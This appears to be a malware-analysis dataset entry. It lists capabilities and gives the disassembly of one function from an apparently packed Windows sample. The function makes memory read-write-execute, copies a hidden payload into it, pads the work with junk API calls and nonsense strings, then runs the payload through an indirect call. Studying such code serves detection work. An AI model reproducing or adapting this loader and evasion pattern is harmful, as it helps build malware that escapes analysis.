Function at 0x4015f9
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0xb66b28]
sub esp, 0xd14
push ebx
push esi
push edi
cmp ecx, 0x93
je 0x4017f1
mov eax, dword [0x41a3d0]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0xb66b2c], eax
push esi
mov dword [0xb66b28], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x14]
mov dword [0xb665b4], eax
push ecx
push 0x40
push dword [0xb66b28]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0xa90ee
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec edi
jne 0x40165a
mov edx, dword [0xb66b28]
mov edi, esi
test edx, edx
je 0x4016e9
mov eax, dword [0xb66b2c]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0xb665b4]
mov byte [eax + edi], cl
cmp edx, 0x490
jne 0x4016e4
push 0x417850
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
push str.vuhihamehit_yodisehomerafelagatanozaje_lojohifolirixofacegacajepijol
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.vodapefip
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x910]
push eax
push str.vuxicolocenem_wekec
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push esi
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov edx, dword [0xb66b28]
inc edi
cmp edi, edx
jb 0x401672
mov edi, esi
lea eax, [edx + edi]
cmp eax, 0x8d
jne 0x40172c
push str.vuzajinijufaneyi_lubuwusifofeki_rotapixak_nap_lifacem
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push esi
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push str.ciruvonodipafanihocofote
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0xb66b28]
inc edi
cmp edi, 0x38681
jl 0x4016eb
push ecx
call fcn.004015b6
mov edi, esi
push esi
call ebx
cmp edi, 0x62
jne 0x40174a
call fcn.004015dd
inc edi
cmp edi, 0x674db
jl 0x40173d
push 0x7b
pop ebx
cmp dword [0xb66b28], 0x86
jne 0x4017bd
xor eax, eax
lea edi, [ebp - 0x26]
mov word [ebp - 0x28], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x38], ax
lea edi, [ebp - 0x36]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xd10]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0xb66b28], 0xf
jne 0x4017d0
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
dec ebx
jne 0x401756
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0xb665b4]
mov dword [0xb66b1c], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.xekinuyorob_yiv_zucewimucozec
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push str.Lot_bovarifi_tohuwunabucufomabuyokupey_fegekoyafizifuhixafi_fokuz
xor esi, esi
xor eax, eax
push esi
push esi
push esi
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4177f4
push esi
call fcn.0040373c
push esi
call fcn.00403b08
push esi
call fcn.00402aa6
add esp, 0x10
lea ecx, [ebp - 0x44]
push str.bad_exception
call fcn.0040109f
lea ecx, [ebp - 0x44]
call fcn.004010bb
call fcn.00402a63
int3